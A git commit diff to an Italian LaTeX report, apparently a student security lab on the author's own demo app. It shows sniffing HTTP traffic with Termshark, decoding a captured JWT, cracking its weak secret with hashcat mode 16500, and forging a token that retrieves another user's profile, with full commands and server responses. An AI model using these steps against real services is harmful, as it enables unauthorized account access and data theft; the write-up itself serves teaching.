From 47dc770e34f83f977a7e831c3db4635bcab67417 Mon Sep 17 00:00:00 2001 From: Santo Cariotti Date: Tue, 22 Nov 2022 11:24:39 +0100 Subject: Dump network chapter --- docs/chapters/setup.tex | 21 ------ docs/data/jwt.png | Bin 0 -> 122658 bytes docs/data/termshark-get-users.png | Bin 0 -> 378681 bytes docs/data/termshark-post.png | Bin 0 -> 291657 bytes docs/data/termshark.png | Bin 0 -> 238753 bytes docs/m6.tex | 149 ++++++++++++++++++++++++++++++++++++++ 6 files changed, 149 insertions(+), 21 deletions(-) create mode 100644 docs/data/jwt.png create mode 100644 docs/data/termshark-get-users.png create mode 100644 docs/data/termshark-post.png create mode 100644 docs/data/termshark.png (limited to 'docs') diff --git a/docs/chapters/setup.tex b/docs/chapters/setup.tex index be0ee4a..16c0bc5 100644 --- a/docs/chapters/setup.tex +++ b/docs/chapters/setup.tex @@ -55,27 +55,6 @@ impl Keys { E proprio in questo "errore" nel secret che andremo ad attaccare. Useremo un attacco di bruteforcing all'header Authorization per far sì di avere i dati dell'utente con ID che noi vogliamo. -\subsection{Forcing del secret} -L'Authorization token è qualcosa di pubblico, che possiamo veder ad ogni richiesta HTTP. Il secret no, è usato per fare verificare la firma e rendere valido il token stesso. Quindi useremo un approccio simile a quello impiegato per "forzare" il login di una piattaforma: proveremo per forza bruta tutte le password possibili. -In questo caso proveremo i possibili secret per far sì che la firma sia lo stesso valida. - -Prendendo una lista ben nota di secrets impiegati in servizi in produzione \cite{JWT_SECRETS_LIST:1} useremo il software open-source \textbf{Hashcat} \cite{HASHCAT}. -Per crackare la password usando Hashcat bisogna dare in input il parametro dell'hash type di JWT, il sorgente in cui vi è il token che si vuole crackare e il sorgente in cui vi è la lista dei secrets. - -\begin{lstlisting} -$ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat - -eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMywiZXhwIjoxNjY2Mjk0Nzk2fQ.ay_RPoeTuV4e -lBFqqCdTzF64GPcoEDOlJN2DUAOqwds:hello - -Session..........: hashcat -Status...........: Cracked -Hash.Type........: JWT (JSON Web Token) -Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...AOqwds -\end{lstlisting} - -Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. - \section{App mobile} Il codice dell'app è presente al link \underline{\url{https://git.dcariotti.me/m6-ie/tree/app}}. È una "banale" applicazione scritta usando Ionic \cite{IONIC} con 3 pagine: diff --git a/docs/data/jwt.png b/docs/data/jwt.png new file mode 100644 index 0000000..9db5939 Binary files /dev/null and b/docs/data/jwt.png differ diff --git a/docs/data/termshark-get-users.png b/docs/data/termshark-get-users.png new file mode 100644 index 0000000..568cc9b Binary files /dev/null and b/docs/data/termshark-get-users.png differ diff --git a/docs/data/termshark-post.png b/docs/data/termshark-post.png new file mode 100644 index 0000000..33a849d Binary files /dev/null and b/docs/data/termshark-post.png differ diff --git a/docs/data/termshark.png b/docs/data/termshark.png new file mode 100644 index 0000000..b510676 Binary files /dev/null and b/docs/data/termshark.png differ diff --git a/docs/m6.tex b/docs/m6.tex index 242ae26..03c1ca0 100644 --- a/docs/m6.tex +++ b/docs/m6.tex @@ -27,6 +27,155 @@ \chapter{Set up} \input{chapters/setup} +\chapter{Traffico di rete} +In questa versione di testing sarà utilizzato il software Termshark \footnote{https://github.com/gcla/termshark} al post di Wireshark. L'unico vantaggio è facilità d'uso per quello che serve fare a noi, visto che è offre una semplice TUI a \textbf{tshark(1)}. + +Aprendo Termshark la prima cosa che può venir in mente è quella di filtrare per richieste TCP, e così facciamo ma vi sono tanti pacchetti che arrivano in entrata e uscita, quindi potremmo voler aggiungere un filtro in modo tale da filtrare solo le richieste che partono dalla nostra macchina: ma qual è l'IP? Per far ciò basta eseguire + +\begin{lstlisting} +$ ip -c -br a +lo UNKNOWN 127.0.0.1/8 ::1/128 +wlp2s0 UP 1151.97.156.203/20 fe80::dab5:fab1:2c92:1fcb/64 +docker0 DOWN 172.17.0.1/16 +.. +\end{lstlisting} + +prendendo come base l'IP della scheda Wireless possiamo applicare il filtro. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark} +\caption{Screenshot di Termshark} +\end{figure} + +Avviando l'applicazione da Android Studio dobbiamo far caso, dopo aver provato il login, alla colonna Info, dove vi sono le righe con testo "Client Hello" o in chiaro, nel caso di HTTP. + +Nello screenshot in Figura 4.2 si vede a quale endpoint fa la la chiamata per fare il login e anche con quale payload. Non è un problema il fatto che vediamo le credenziali che stiamo usando, proprio perché li stiamo inserendo noi. Può essere un problema in caso di qualcun altro che fa sniffing della LAN perché vedrebbe le nostre credenziali; questo problema scompare quando il server usa HTTPS invece di HTTP. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark-post} +\caption{Screenshot dell'endpoint di login} +\end{figure} + +\section{Informazioni utente} + +Proseguendo nell'applicazione a visualizzare la pagina con le info personali, vediamo da dove e come prende queste informazioni. +In particolare dobbiamo far attenzione, oltre all'url, qual è il token di accesso che invia per richiedere la risorsa. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark-get-users} +\caption{Screenshot della GET users} +\end{figure} + +Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità copy premendo \emph{c} e \emph{CTRL+C}. Alla fine avremo in buffer la stringa + + +\begin{lstlisting} +[Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. +eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9. +nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s\r\n] +\end{lstlisting} + +Decodificando il payload si vedrà + +\begin{lstlisting} +$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9" | base64 -d +{"user_id":1,"exp":1669282872} +\end{lstlisting} + +\section{Attacco all'autorizazzione} + +Ricreiamo un payload valido ma con differente "user\_id". + +\begin{lstlisting} +$ echo '{"user_id":2,"exp":1669282872}' | base64 +eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9Cg== + +$ # Ricordiamo che il padding "Cg==" va rimosso da JWT +\end{lstlisting} + +Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata. + +\begin{lstlisting} +xh http://m6ie.demo.dcariotti.me/v1/users/me + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s" +HTTP/1.1 400 Bad Request +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 25 +Content-Type: application/json +Date: Tue, 22 Nov 2022 03:24:00 GMT +Server: nginx +Vary: origin +Vary: access-control-request-method +Vary: access-control-request-headers + +{ + "error": "Invalid token" +} +\end{lstlisting} + +\subsection{Forcing del secret} +L'Authorization token è qualcosa di pubblico, che possiamo veder ad ogni richiesta HTTP. Il secret no, è usato per fare verificare la firma e rendere valido il token stesso. Quindi useremo un approccio simile a quello impiegato per "forzare" il login di una piattaforma: proveremo per forza bruta tutte le password possibili. +In questo caso proveremo i possibili secret per far sì che la firma sia lo stesso valida. + +Prendendo una lista ben nota di secrets impiegati in servizi in produzione \cite{JWT_SECRETS_LIST:1} useremo il software open-source \textbf{Hashcat} \cite{HASHCAT}. +Per crackare la password usando Hashcat bisogna dare in input il parametro dell'hash type di JWT, il sorgente in cui vi è il token che si vuole crackare e il sorgente in cui vi è la lista dei secrets. + +\begin{lstlisting} +$ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat + +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 +.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9 +.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s:hello + +Session..........: hashcat +Status...........: Cracked +Hash.Type........: JWT (JSON Web Token) +Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...qcJc3s +\end{lstlisting} + +Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. + +\subsection{Creazione token valido} +Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/jwt} +\caption{Screenshot di Jwt.io} +\end{figure} + +Usando questo nuovo token codificato per fare la chiamata, possiamo riare la chiamata che era fallita prima. + + +\begin{lstlisting} +$ xh http://m6ie.demo.dcariotti.me/v1/users/me + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9.rUXPmYWp2U5B2614Ojen1Il_5yR3D5InYCAFAeaxUmw" +HTTP/1.1 200 OK +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 106 +Content-Type: application/json +Date: Tue, 22 Nov 2022 03:30:19 GMT +Server: nginx +Vary: origin +Vary: access-control-request-method +Vary: access-control-request-headers + +{ + "id": 2, + "name": "Luke Skywalker", + "email": "luke@disney.com", + "username": "luke", + "is_staff": true, + "avatar": null +} +\end{lstlisting} + +Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. \bibliography{refs} \bibliographystyle{ieeetr} -- cgit v1.2.3-18-g5258